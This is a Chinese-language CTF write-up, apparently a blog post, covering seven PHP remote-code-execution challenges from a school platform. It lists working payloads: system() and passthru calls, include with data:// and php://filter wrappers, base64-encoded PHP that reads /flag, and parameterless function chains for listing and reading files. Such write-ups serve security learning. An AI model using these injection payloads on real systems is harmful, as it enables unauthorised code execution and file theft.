校内ctf平台web小结(rce)

目前都是rce

web1

经过代码审计可以看出,如果不存在区分大小写的flag,就会执行”c“。没有经过任何闭合,很简单的构造c=system('ls');

经过寻找得到flag,可以在flag中添加\来绕过

web2

代码审计,绕过了system函数,我们可以换用passthru,不再赘述。

web3

代码审计可以看到绕过了较多的函数,这里再用别的函数一一绕过太麻烦,我们可以构造?c=include($_GET[a]);来例用php伪协议

?c=include($_GET[a]);&a=data:text/plain,<?php include('/flag');

?c=include($_GET[a]);&a=data:text/plain;base64,PD9waHAgaW5jbHVkZSgnL2ZsYWcnKTs=

?c=include($_GET[a]);&a=php://filter/read=convert.base64-encode/resource=/flag

web4

?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=/flag

web5

代码审计,这里直接用了include,所以不需要自己构造了

?c=data:text/plain,<?php%20system(%27cat%20../../../fla\g%27);

?c=data:text/plain;base64,PD9waHAgaW5jbHVkZSgnL2ZsYWcnKTs=

web6

?c=data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgLi4vLi4vLi4vZmxhXGcnKTs=

web7

闭合了一万个字符串

这里需要用到新的知识点

无参数阅读文件

可以是a()、a(b())或a(b(c())),但不能是a('b')或a('b','c')

这里用到的大多是数组的函数

 

current()返回数组中的单元,默认取第一个值:

localeconv()返回一包含本地数字及货币格式信息的数组。

所以:

print_r(scandir(current(localeconv())));打印当前目录下的文件名

print_r(scandir(next(scandir(getcwd())))) 获取上一层文件夹名称

print_r(scandir(chr(ord(strrev(crypt(serialize(array()))))))); 查看和读取根目录文件

print_r(scandir(getcwd()));   输出当前文件夹所有文件名.

print_r(scandir(dirname(getcwd())));  查看上一层文件名

print_r(scandir(dirname(chdir(dirname(getcwd())))));调整工作台到该处

readfile(array_rand(array_flip(sandir(chdir(dirname(dirname(getcwd())))));随机显示数组,需要多刷新。

 

 

 

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值